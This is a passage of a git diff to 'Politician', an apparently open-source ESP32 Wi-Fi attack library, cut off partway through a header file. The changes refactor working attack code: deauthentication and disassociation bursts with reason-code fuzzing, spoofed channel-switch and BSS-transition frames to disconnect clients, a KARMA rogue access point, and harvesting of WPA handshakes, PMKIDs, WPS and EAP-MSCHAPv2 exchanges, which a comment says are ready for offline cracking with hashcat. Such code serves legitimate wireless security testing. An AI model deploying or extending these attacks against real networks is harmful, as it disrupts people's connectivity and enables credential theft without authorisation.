0xFF, 6); // DA: broadcast - esp_wifi_80211_tx(WIFI_IF_STA, frame, p, false); + _txRaw(WIFI_IF_AP, frame, p); if (_karmaCb) { KarmaRecord rec; @@ -898,27 +994,8 @@ void Politician::tick() { int score = _apCache[i].rssi; if (_targetScoreCb) { ApRecord ap_rec; - memcpy(ap_rec.bssid, _apCache[i].bssid, 6); - memcpy(ap_rec.ssid, _apCache[i].ssid, 33); - ap_rec.ssid_len = _apCache[i].ssid_len; - ap_rec.enc = _apCache[i].enc; - ap_rec.channel = _apCache[i].channel; - ap_rec.rssi = _apCache[i].rssi; - ap_rec.wps_enabled = _apCache[i].flags.wps_enabled; - ap_rec.pmf_capable = _apCache[i].flags.pmf_capable; - ap_rec.pmf_required = _apCache[i].flags.pmf_required; - ap_rec.total_attempts = _apCache[i].total_attempts; - ap_rec.captured = false; // already checked above - ap_rec.ft_capable = _apCache[i].flags.ft_capable; - ap_rec.first_seen_ms = _apCache[i].first_seen_ms; - ap_rec.last_seen_ms = _apCache[i].last_seen_ms; - memcpy(ap_rec.country, _apCache[i].country, 3); - ap_rec.beacon_interval = _apCache[i].beacon_interval; - ap_rec.max_rate_mbps = _apCache[i].max_rate_mbps; - ap_rec.is_hidden = _apCache[i].flags.is_hidden; - ap_rec.sta_count = _apCache[i].sta_count; - ap_rec.chan_util = _apCache[i].chan_util; - + _populateApRecord(i, ap_rec); + ap_rec.captured = false; // already checked above score = _targetScoreCb(ap_rec, getVendor(ap_rec.bssid)); } @@ -951,7 +1028,24 @@ void Politician::tick() { _lastHopMs = now; } - bool locked = _m1Locked || _probeLocked || _hasTarget; + bool peer_locked = false; + portENTER_CRITICAL(&_instanceMux); + if (_channelLockOwner != nullptr && _channelLockOwner != this) { + peer_locked = true; + } else { + for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) { + Politician *inst = _instances[i]; + if (inst && inst != this && inst->_active) { + if (inst->_m1Locked || inst->_probeLocked || inst->_hasTarget || inst->_fishState != FISH_IDLE) { + peer_locked = true; + break; + } + } + } + } + portEXIT_CRITICAL(&_instanceMux); + + bool locked = _m1Locked || _probeLocked || _hasTarget || peer_locked; uint32_t current_dwell = _cfg.hop_dwell_ms; if (_cfg.smart_hopping && !locked) { // Evaluate early exit or extended dwell @@ -971,18 +1065,34 @@ void Politician::tick() { _lastHopMs = now; _channelTrafficSeen = false; - // Process inject queue for the new channel - for (int i = 0; i < MAX_INJECT_QUEUE; i++) { - if (_injectQueue[i].active && _injectQueue[i].channel == _channel) { - esp_wifi_80211_tx(WIFI_IF_STA, (void*)_injectQueue[i].payload, _injectQueue[i].len, false); - _log("[Inject] Transmitted queued %d bytes on ch%d\n", _injectQueue[i].len, _channel); - _injectQueue[i].active = false; - if (_injectQueue[i].lock_ms > 0) { + // Process inject queue for the new channel in FIFO order + uint8_t remaining = 0; + uint8_t new_head = _injectHead; + uint8_t orig_count = _injectCount; + uint8_t read_idx = _injectHead; + for (uint8_t n = 0; n < orig_count; n++) { + InjectFrame &slot = _injectQueue[read_idx]; + uint8_t cur_idx = read_idx; + read_idx = (read_idx + 1) % MAX_INJECT_QUEUE; + if (slot.active && slot.channel == _channel) { + _txRaw(WIFI_IF_STA, slot.payload, slot.len); + _log("[Inject] Transmitted queued %d bytes on ch%d\n", slot.len, _channel); + slot.active = false; + if (slot.lock_ms > 0) { _m1Locked = true; - _m1LockEndMs = millis() + _injectQueue[i].lock_ms; + _m1LockEndMs = millis() + slot.lock_ms; + } + } else if (slot.active) { + uint8_t write_idx = (new_head + remaining) % MAX_INJECT_QUEUE; + if (write_idx != cur_idx) { + _injectQueue[write_idx] = slot; + slot.active = false; } + remaining++; } } + _injectHead = new_head; + _injectCount = remaining; } xSemaphoreGiveRecursive(_lock); @@ -1032,10 +1142,10 @@ void Politician::_workerTask(void *pvParameters) { else if ((fc & 0x0C) == 0x04) type = WIFI_PKT_CTRL; if (self->_lock && xSemaphoreTakeRecursive(self->_lock, portMAX_DELAY) == pdTRUE) { - // Monitor ringbuffer high-water mark - size_t free_rb = 0; - vRingbufferGetInfo(self->_rb, NULL, NULL, NULL, NULL, &free_rb); - uint32_t used_rb = 16384 - (uint32_t)free_rb; + // Monitor ringbuffer high-water mark (6th argument uxItemsWaiting = bytes used in NOSPLIT buffer) + UBaseType_t waiting_rb = 0; + vRingbufferGetInfo(self->_rb, NULL, NULL, NULL, NULL, &waiting_rb); + uint32_t used_rb = (uint32_t)waiting_rb; if (used_rb > self->_stats.rb_max) self->_stats.rb_max = used_rb; self->_handleFrame(pkt, type); @@ -1437,7 +1547,7 @@ void Politician::_handleMgmt(const ieee80211_hdr_t *hdr, const uint8_t *payload, ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], // SA 0x00, 0x00 // Sequence }; - esp_wifi_80211_tx(WIFI_IF_STA, wake_null, sizeof(wake_null), false); + _txRaw(WIFI_IF_STA, wake_null, sizeof(wake_null)); _log("[Stimulate] Beacon-Sync Null Injection fired at %02X:%02X:%02X:%02X:%02X:%02X\n", ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]); } @@ -1510,6 +1620,11 @@ void Politician::_handleMgmt(const ieee80211_hdr_t *hdr, const uint8_t *payload, break; } } + if (_channel != beacon_ch) { + esp_wifi_set_channel(beacon_ch, WIFI_SECOND_CHAN_NONE); + _channel = beacon_ch; + _rxChannel = beacon_ch; + } _fishState = FISH_CSA_WAIT; _csaSecondBurstSent = false; if (effMask & ATTACK_CSA) _sendCsaBurst(); @@ -1533,6 +1648,11 @@ void Politician::_handleMgmt(const ieee80211_hdr_t *hdr, const uint8_t *payload, if ((effMask & ATTACK_BTM) && !_isCaptured(ap.bssid)) { for (int ci = 0; ci < MAX_AP_CACHE; ci++) { if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0) { + if (_apCache[ci].known_sta_count > 0 && _channel != beacon_ch) { + esp_wifi_set_channel(beacon_ch, WIFI_SECOND_CHAN_NONE); + _channel = beacon_ch; + _rxChannel = beacon_ch; + } for (int s = 0; s < _apCache[ci].known_sta_count; s++) { for (int b = 0; b < _cfg.btm_burst_count; b++) { _sendBtmRequest(ap.bssid, _apCache[ci].known_stas[s]); @@ -1956,6 +2076,11 @@ bool Politician::_parseEapol(const uint8_t *bssid, const uint8_t *sta, break; } } + if (_channel != _fishChannel && _fishChannel >= 1) { + esp_wifi_set_channel(_fishChannel, WIFI_SECOND_CHAN_NONE); + _channel = _fishChannel; + _rxChannel = _fishChannel; + } _fishState = FISH_CSA_WAIT; _csaSecondBurstSent = false; _csaFallbackMs = 0; if (_attackMask & ATTACK_CSA) _sendCsaBurst(); @@ -1996,6 +2121,12 @@ void Politician::_parseEapIdentity(const uint8_t *bssid, const uint8_t *sta, // Safety boundary check if (9 + id_len > len) return; + + // Lock channel temporarily so subsequent EAP-WSC (WPS M1) or EAP-MSCHAPv2 exchanges are not missed + if (_hopping) { + _m1Locked = true; + _m1LockEndMs = millis() + _cfg.m1_lock_ms; + } EapIdentityRecord rec; memset(&rec, 0, sizeof(rec)); @@ -2123,7 +2254,7 @@ void Politician::_sendBtmRequest(const uint8_t *bssid, const uint8_t *sta) { frame[p++] = (uint8_t)(timer & 0xFF); frame[p++] = (uint8_t)(timer >> 8); frame[p++] = 0x01; // Validity Interval (1 TBTT) - esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false); + _txRaw(WIFI_IF_AP, frame, p); } #ifndef POLITICIAN_NO_MSCHAPV2 @@ -2147,6 +2278,7 @@ void Politician::_parseEapMsChap(const uint8_t *bssid, const uint8_t *sta, uint8_t eap_code = eapol[4]; uint8_t eap_id = eapol[5]; + (void)eap_id; uint8_t mschap_op = eapol[9]; uint8_t ms_id = eapol[10]; @@ -2155,6 +2287,11 @@ void Politician::_parseEapMsChap(const uint8_t *bssid, const uint8_t *sta, if (len < 30) return; if (eapol[13] != 16) return; // Value-Size must be 16 + if (_hopping) { + _m1Locked = true; + _m1LockEndMs = millis() + _cfg.m1_lock_ms; + } + // Find or create a session slot int slot = -1; for (int i = 0; i < MAX_MSCHAP_SESSIONS; i++) { @@ -2545,6 +2682,39 @@ int Politician::getApCount() const { return n; } +void Politician::_populateApRecord(int i, ApRecord &out) const { + memset(&out, 0, sizeof(out)); + memcpy(out.bssid, _apCache[i].bssid, 6); + memcpy(out.ssid, _apCache[i].ssid, 33); + out.ssid_len = _apCache[i].ssid_len; + out.enc = _apCache[i].enc; + out.channel = _apCache[i].channel; + out.rssi = _apCache[i].rssi; + out.wps_enabled = _apCache[i].flags.wps_enabled; + out.pmf_capable = _apCache[i].flags.pmf_capable; + out.pmf_required = _apCache[i].flags.pmf_required; + out.total_attempts = _apCache[i].total_attempts; + out.captured = _isCaptured(_apCache[i].bssid); + out.ft_capable = _apCache[i].flags.ft_capable; + out.first_seen_ms = _apCache[i].first_seen_ms; + out.last_seen_ms = _apCache[i].last_seen_ms; + memcpy(out.country, _apCache[i].country, 3); + out.beacon_interval = _apCache[i].beacon_interval; + out.max_rate_mbps = _apCache[i].max_rate_mbps; + out.is_hidden = _apCache[i].flags.is_hidden; + out.sta_count = _apCache[i].sta_count; + out.chan_util = _apCache[i].chan_util; + out.venue_group = _apCache[i].venue_group; + out.venue_type = _apCache[i].venue_type; + out.network_type = _apCache[i].network_type; + out.is_vht = _apCache[i].flags.is_vht; + out.is_he = _apCache[i].flags.is_he; + out.chan_width = _apCache[i].chan_width; + out.beacon_count = _apCache[i].beacon_count; + out.capture_count = _apCache[i].capture_count; + out.last_attack_ms = _apCache[i].last_attack_ms; +} + bool Politician::getAp(int idx, ApRecord &out) const { if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return false; int found = 0; @@ -2552,36 +2722,9 @@ bool Politician::getAp(int idx, ApRecord &out) const { for (int i = 0; i < MAX_AP_CACHE; i++) { if (!_apCache[i].flags.active) continue; if (found == idx) { - memcpy(out.bssid, _apCache[i].bssid, 6); - memcpy(out.ssid, _apCache[i].ssid, 33); - out.ssid_len = _apCache[i].ssid_len; - out.enc = _apCache[i].enc; - out.channel = _apCache[i].channel; - out.rssi = _apCache[i].rssi; - out.wps_enabled = _apCache[i].flags.wps_enabled; - out.pmf_capable = _apCache[i].flags.pmf_capable; - out.pmf_required = _apCache[i].flags.pmf_required; - out.total_attempts = _apCache[i].total_attempts; - out.captured = _isCaptured(_apCache[i].bssid); - out.ft_capable = _apCache[i].flags.ft_capable; - out.first_seen_ms = _apCache[i].first_seen_ms; - out.last_seen_ms = _apCache[i].last_seen_ms; - memcpy(out.country, _apCache[i].country, 3); - out.beacon_interval = _apCache[i].beacon_interval; - out.max_rate_mbps = _apCache[i].max_rate_mbps; - out.is_hidden = _apCache[i].flags.is_hidden; - out.sta_count = _apCache[i].sta_count; - out.chan_util = _apCache[i].chan_util; - out.venue_group = _apCache[i].venue_group; - out.venue_type = _apCache[i].venue_type; - out.network_type = _apCache[i].network_type; - out.is_vht = _apCache[i].flags.is_vht; - out.is_he = _apCache[i].flags.is_he; - out.chan_width = _apCache[i].chan_width; - out.beacon_count = _apCache[i].beacon_count; - out.capture_count = _apCache[i].capture_count; - out.last_attack_ms = _apCache[i].last_attack_ms; - ok = true; break; + _populateApRecord(i, out); + ok = true; + break; } found++; } @@ -2594,79 +2737,32 @@ bool Politician::getApByBssid(const uint8_t *bssid, ApRecord &out) const { bool ok = false; for (int i = 0; i < MAX_AP_CACHE; i++) { if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0) continue; - memcpy(out.bssid, _apCache[i].bssid, 6); - memcpy(out.ssid, _apCache[i].ssid, 33); - out.ssid_len = _apCache[i].ssid_len; - out.enc = _apCache[i].enc; - out.channel = _apCache[i].channel; - out.rssi = _apCache[i].rssi; - out.wps_enabled = _apCache[i].flags.wps_enabled; - out.pmf_capable = _apCache[i].flags.pmf_capable; - out.pmf_required = _apCache[i].flags.pmf_required; - out.total_attempts = _apCache[i].total_attempts; - out.captured = _isCaptured(_apCache[i].bssid); - out.ft_capable = _apCache[i].flags.ft_capable; - out.first_seen_ms = _apCache[i].first_seen_ms; - out.last_seen_ms = _apCache[i].last_seen_ms; - memcpy(out.country, _apCache[i].country, 3); - out.beacon_interval = _apCache[i].beacon_interval; - out.max_rate_mbps = _apCache[i].max_rate_mbps; - out.is_hidden = _apCache[i].flags.is_hidden; - out.sta_count = _apCache[i].sta_count; - out.chan_util = _apCache[i].chan_util; - out.venue_group = _apCache[i].venue_group; - out.venue_type = _apCache[i].venue_type; - out.network_type = _apCache[i].network_type; - out.is_vht = _apCache[i].flags.is_vht; - out.is_he = _apCache[i].flags.is_he; - out.chan_width = _apCache[i].chan_width; - out.beacon_count = _apCache[i].beacon_count; - out.capture_count = _apCache[i].capture_count; - out.last_attack_ms = _apCache[i].last_attack_ms; - ok = true; break; + _populateApRecord(i, out); + ok = true; + break; } xSemaphoreGiveRecursive(_lock); return ok; } void Politician::forEachAp(void (*cb)(const ApRecord &ap, void *ctx), void *ctx) const { - if (!cb || !_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE) return; + if (!cb || !_lock) return; for (int i = 0; i < MAX_AP_CACHE; i++) { - if (!_apCache[i].flags.active) continue; ApRecord out; - memset(&out, 0, sizeof(out)); - memcpy(out.bssid, _apCache[i].bssid, 6); - memcpy(out.ssid, _apCache[i].ssid, 33); - out.ssid_len = _apCache[i].ssid_len; - out.enc = _apCache[i].enc; - out.channel = _apCache[i].channel; - out.rssi = _apCache[i].rssi; - out.wps_enabled = _apCache[i].flags.wps_enabled; - out.pmf_capable = _apCache[i].flags.pmf_capable; - out.pmf_required = _apCache[i].flags.pmf_required; - out.total_attempts = _apCache[i].total_attempts; - out.captured = _isCaptured(_apCache[i].bssid); - out.ft_capable = _apCache[i].flags.ft_capable; - out.first_seen_ms = _apCache[i].first_seen_ms; - out.last_seen_ms = _apCache[i].last_seen_ms; - memcpy(out.country, _apCache[i].country, 3); - out.beacon_interval = _apCache[i].beacon_interval; - out.max_rate_mbps = _apCache[i].max_rate_mbps; - out.is_hidden = _apCache[i].flags.is_hidden; - out.sta_count = _apCache[i].sta_count; - out.chan_util = _apCache[i].chan_util; - out.venue_group = _apCache[i].venue_group; - out.venue_type = _apCache[i].venue_type; - out.network_type = _apCache[i].network_type; - out.is_vht = _apCache[i].flags.is_vht; - out.is_he = _apCache[i].flags.is_he; - out.chan_width = _apCache[i].chan_width; - out.beacon_count = _apCache[i].beacon_count; - out.capture_count = _apCache[i].capture_count; - out.last_attack_ms = _apCache[i].last_attack_ms; - cb(out, ctx); + bool active = false; + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) == pdTRUE) { + if (_apCache[i].flags.active) { + _populateApRecord(i, out); + active = true; + } + xSemaphoreGiveRecursive(_lock); + } else { + return; + } + if (active) { + cb(out, ctx); + } } - xSemaphoreGiveRecursive(_lock); } #ifndef POLITICIAN_NO_STD_FUNCTION @@ -2769,8 +2865,8 @@ void Politician::_sendDeauthBurst(uint8_t count, const uint8_t *sta) { if (_cfg.deauth_reason_cycling) { deauth[24] = REASONS[i % num_reasons]; } - esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false); - delay(2); + _txRaw(WIFI_IF_STA, deauth, sizeof(deauth)); + vTaskDelay(1); } _log("[Deauth] Sent %s burst (Deauth/Disassoc) on ch%d (%s)\n", _cfg.deauth_reason_cycling ? "Fuzzing" : "Static", _fishChannel, (da[0] == 0xFF) ? "broadcast" : "unicast"); } @@ -2858,7 +2954,7 @@ void Politician::_sendCsaBurst() { frame[p++] = 0x00; frame[p++] = _fishSsidLen; memcpy(frame + p, _fishSsid, _fishSsidLen); p += _fishSsidLen; frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = _fishChannel; frame[p++] = 0x25; frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = 0x0E; frame[p++] = 0x01; - for (int i = 0; i < _cfg.csa_beacon_count; i++) { esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false); delay(15); } + for (int i = 0; i < _cfg.csa_beacon_count; i++) { _txRaw(WIFI_IF_AP, frame, p); vTaskDelay(pdMS_TO_TICKS(2)); } _log("[CSA] Sent burst on ch%d\n", _fishChannel); } diff --git a/src/Politician.h b/src/Politician.h index 01e8cf4..a0ad09c 100644 --- a/src/Politician.h +++ b/src/Politician.h @@ -11,22 +11,113 @@ namespace politician { +#ifdef POLITICIAN_MINIMAL_MEMORY +#ifndef POLITICIAN_MAX_AP_CACHE +#define POLITICIAN_MAX_AP_CACHE 16 +#endif +#ifndef POLITICIAN_MAX_SESSIONS +#define POLITICIAN_MAX_SESSIONS 2 +#endif +#ifndef POLITICIAN_MAX_CAPTURED +#define POLITICIAN_MAX_CAPTURED 32 +#endif +#ifndef POLITICIAN_MAX_CHANNELS +#define POLITICIAN_MAX_CHANNELS 14 +#endif +#ifndef POLITICIAN_MAX_INSTANCES +#define POLITICIAN_MAX_INSTANCES 1 +#endif +#ifndef POLITICIAN_RB_SIZE +#define POLITICIAN_RB_SIZE 4096 +#endif +#ifndef POLITICIAN_MAX_IGNORE +#define POLITICIAN_MAX_IGNORE 16 +#endif +#ifndef POLITICIAN_MAX_INJECT_QUEUE +#define POLITICIAN_MAX_INJECT_QUEUE 2 +#endif +#ifndef POLITICIAN_MAX_ATTACK_OVERRIDES +#define POLITICIAN_MAX_ATTACK_OVERRIDES 4 +#endif +#ifndef POLITICIAN_MAX_SSID_OVERRIDES +#define POLITICIAN_MAX_SSID_OVERRIDES 4 +#endif +#ifndef POLITICIAN_MAX_EAP_METHODS +#define POLITICIAN_MAX_EAP_METHODS 4 +#endif +#ifndef POLITICIAN_MAX_KARMA_SEEN +#define POLITICIAN_MAX_KARMA_SEEN 4 +#endif +#ifndef POLITICIAN_MAX_MSCHAP_SESSIONS +#define POLITICIAN_MAX_MSCHAP_SESSIONS 2 +#endif +#endif // POLITICIAN_MINIMAL_MEMORY + +/** @brief Maximum number of discovered APs retained in the internal cache. */ #ifndef POLITICIAN_MAX_AP_CACHE #define POLITICIAN_MAX_AP_CACHE 48 #endif +/** @brief Maximum number of concurrent EAPOL 4-way handshake sessions tracked. */ #ifndef POLITICIAN_MAX_SESSIONS #define POLITICIAN_MAX_SESSIONS 8 #endif +/** @brief Maximum number of captured BSSIDs remembered per session. */ #ifndef POLITICIAN_MAX_CAPTURED #define POLITICIAN_MAX_CAPTURED 128 #endif +/** @brief Maximum number of channels in the custom hopping sequence. */ #ifndef POLITICIAN_MAX_CHANNELS #define POLITICIAN_MAX_CHANNELS 50 #endif +/** @brief Size in bytes of the FreeRTOS promiscuous packet ringbuffer per instance. */ +#ifndef POLITICIAN_RB_SIZE +#define POLITICIAN_RB_SIZE 16384 +#endif + +/** @brief Maximum number of BSSIDs in the ignore list. */ +#ifndef POLITICIAN_MAX_IGNORE +#define POLITICIAN_MAX_IGNORE 128 +#endif + +/** @brief Maximum number of frames queued for deferred channel-synchronized injection. */ +#ifndef POLITICIAN_MAX_INJECT_QUEUE +#define POLITICIAN_MAX_INJECT_QUEUE 4 +#endif + +/** @brief Maximum byte length of a single queued custom injection frame. */ +#ifndef POLITICIAN_MAX_INJECT_LEN +#define POLITICIAN_MAX_INJECT_LEN 256 +#endif + +/** @brief Maximum number of per-BSSID attack mask overrides. */ +#ifndef POLITICIAN_MAX_ATTACK_OVERRIDES +#define POLITICIAN_MAX_ATTACK_OVERRIDES 8 +#endif + +/** @brief Maximum number of per-SSID attack mask overrides. */ +#ifndef POLITICIAN_MAX_SSID_OVERRIDES +#define POLITICIAN_MAX_SSID_OVERRIDES 8 +#endif + +/** @brief Maximum number of BSSIDs tracked for 802.1X EAP method correlation. */ +#ifndef POLITICIAN_MAX_EAP_METHODS +#define POLITICIAN_MAX_EAP_METHODS 8 +#endif + +/** @brief Maximum number of recent (client, SSID) pairs tracked for KARMA deduplication. */ +#ifndef POLITICIAN_MAX_KARMA_SEEN +#define POLITICIAN_MAX_KARMA_SEEN 16 +#endif + +/** @brief Maximum number of concurrent EAP-MSCHAPv2 challenge/response sessions tracked. */ +#ifndef POLITICIAN_MAX_MSCHAP_SESSIONS +#define POLITICIAN_MAX_MSCHAP_SESSIONS 4 +#endif + /** * Maximum number of concurrent Politician instances that can be active at once. * Each instance gets its own ring buffer and worker task, but they share the @@ -121,7 +212,16 @@ class Politician { /** * @brief Sets a custom logging callback to intercept library output. */ - void setLogger(LogCb cb) { _logCb = cb; } + void setLogger(LogCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _logCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _logCb = cb; + } + } /** * @brief Manually adds a BSSID to the "already captured" list to skip it. @@ -240,7 +340,16 @@ class Politician { * @brief Configures how the engine handles disconnection when both CSA and Deauth are enabled. * @param strategy STRATEGY_AUTO_FALLBACK (default) or STRATEGY_SIMULTANEOUS. */ - void setDisconnectionStrategy(DisconnectStrategy strategy) { _disconnectStrategy = strategy; } + void setDisconnectionStrategy(DisconnectStrategy strategy) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _disconnectStrategy = strategy; + xSemaphoreGiveRecursive(_lock); + } + } else { + _disconnectStrategy = strategy; + } + } /** * @brief Focuses the engine on a single BSSID. @@ -267,7 +376,7 @@ class Politician { void setAutoTarget(bool enable); /** @brief Resets all frame and capture statistics to zero. */ - void resetStats() { memset(&_stats, 0, sizeof(_stats)); } + void resetStats(); /** @return The current operating channel. */ uint8_t getChannel() const { return _channel; } @@ -358,7 +467,16 @@ class Politician { bool getClient(const uint8_t *bssid, int idx, uint8_t out_sta[6]) const; using _FpHookCb = void (*)(const uint8_t *mac, const char *ssid, uint8_t ssid_len, uint8_t ch, int8_t rssi, const uint8_t *ie, uint16_t ie_len); - void _setFingerprintHook(_FpHookCb cb) { _fpHook = cb; } + void _setFingerprintHook(_FpHookCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _fpHook = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _fpHook = cb; + } + } #ifndef POLITICIAN_NO_STD_FUNCTION using EapolCb = std::function; @@ -402,7 +520,16 @@ class Politician { /** * @brief Sets the callback for calculating a custom priority score during autoTarget. */ - void setTargetScoreCallback(TargetScoreCb cb) { _targetScoreCb = cb; } + void setTargetScoreCallback(TargetScoreCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _targetScoreCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _targetScoreCb = cb; + } + } /** * @brief Injects a custom 802.11 frame. @@ -418,51 +545,132 @@ class Politician { /** * @brief Sets the callback for when a handshake (EAPOL or PMKID) is captured. */ - void setEapolCallback(EapolCb cb) { _eapolCb = cb; } + void setEapolCallback(EapolCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _eapolCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _eapolCb = cb; + } + } /** * @brief Sets the callback for when a new Access Point is discovered. */ - void setApFoundCallback(ApFoundCb cb) { _apFoundCb = cb; } + void setApFoundCallback(ApFoundCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _apFoundCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _apFoundCb = cb; + } + } /** * @brief Sets an early filter callback. If it returns false, the AP is ignored completely. */ - void setTargetFilter(TargetFilterCb cb) { _filterCb = cb; } + void setTargetFilter(TargetFilterCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _filterCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _filterCb = cb; + } + } /** * @brief Sets the callback for raw promiscuous mode packets. */ - void setPacketLogger(PacketCb cb) { _packetCb = cb; } + void setPacketLogger(PacketCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _packetCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _packetCb = cb; + } + } /** * @brief Sets the callback for passive 802.1X Enterprise Identity harvesting. */ - void setIdentityCallback(IdentityCb cb) { _identityCb = cb; } + void setIdentityCallback(IdentityCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _identityCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _identityCb = cb; + } + } /** * @brief Sets the callback fired when an attack attempt exhausts all options without capturing. * Useful for logging failed targets or adjusting strategy at runtime. */ - void setAttackResultCallback(AttackResultCb cb) { _attackResultCb = cb; } + void setAttackResultCallback(AttackResultCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _attackResultCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _attackResultCb = cb; + } + } /** * @brief Sets the callback fired on every probe request frame. * Exposes the probing client MAC and requested SSID for device history reconstruction. */ - void setProbeRequestCallback(ProbeRequestCb cb) { _probeReqCb = cb; } + void setProbeRequestCallback(ProbeRequestCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _probeReqCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _probeReqCb = cb; + } + } /** * @brief Sets the callback fired on deauthentication and disassociation frames. * Exposes source, destination, BSSID, reason code, and direction for attack/roaming detection. */ - void setDisruptCallback(DisruptCb cb) { _disruptCb = cb; } + void setDisruptCallback(DisruptCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _disruptCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _disruptCb = cb; + } + } /** * @brief Sets the callback fired when a new client (STA) is first seen associated to an AP. * Fired at most once per unique BSSID+STA pair (tracked per AP cache entry, up to 4 clients). */ - void setClientFoundCallback(ClientFoundCb cb) { _clientFoundCb = cb; } + void setClientFoundCallback(ClientFoundCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _clientFoundCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _clientFoundCb = cb; + } + } /** * @brief Sets the callback fired when a WPS Enrollee's M1 message is captured. @@ -471,7 +679,16 @@ class Politician { * Only fired if the callback is set — has zero overhead otherwise. * @param cb Callback function */ - void setWpsCallback(WpsCb cb) { _wpsCb = cb; } + void setWpsCallback(WpsCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _wpsCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _wpsCb = cb; + } + } #ifndef POLITICIAN_NO_ESPNOW /** @@ -479,7 +696,16 @@ class Politician { * Only fired if the callback is set — has zero overhead otherwise. * @param cb Callback function */ - void setEspNowCallback(EspNowCb cb) { _espNowCb = cb; } + void setEspNowCallback(EspNowCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _espNowCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _espNowCb = cb; + } + } #endif #ifndef POLITICIAN_NO_MSCHAPV2 @@ -489,14 +715,32 @@ class Politician { * The captured MsChapRecord contains everything needed for offline cracking with * asleap or hashcat mode 5500. Zero overhead if not set. */ - void setMsChapCallback(MsChapCb cb) { _msChapCb = cb; } + void setMsChapCallback(MsChapCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _msChapCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _msChapCb = cb; + } + } #endif /** * @brief Sets the callback fired when a potential evil twin or rogue AP is detected. * Triggered when a newly observed BSSID advertises the same SSID as an already-cached AP on the same channel. */ - void setRogueApCallback(RogueApCb cb) { _rogueApCb = cb; } + void setRogueApCallback(RogueApCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _rogueApCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _rogueApCb = cb; + } + } #ifndef POLITICIAN_NO_KARMA /** @@ -511,14 +755,32 @@ class Politician { * when called after `begin()` to toggle dynamically. * @param en true to enable, false to disable */ - void enableKarma(bool en) { _karmaEnabled = en; } + void enableKarma(bool en) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _karmaEnabled = en; + xSemaphoreGiveRecursive(_lock); + } + } else { + _karmaEnabled = en; + } + } /** * @brief Sets the callback fired each time the KARMA responder echoes a probe. * The record contains the client MAC, requested SSID, channel, and spoofed AP MAC. * Zero overhead if not set. */ - void setKarmaCallback(KarmaCb cb) { _karmaCb = cb; } + void setKarmaCallback(KarmaCb cb) { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + _karmaCb = cb; + xSemaphoreGiveRecursive(_lock); + } + } else { + _karmaCb = cb; + } + } #endif /** @@ -534,8 +796,16 @@ class Politician { * @param count Number of entries in the array */ void setProbeWordlist(const char * const *wordlist, uint8_t count) { - _probeWordlist = wordlist; - _probeWordlistLen = count; + if (_lock) { + if 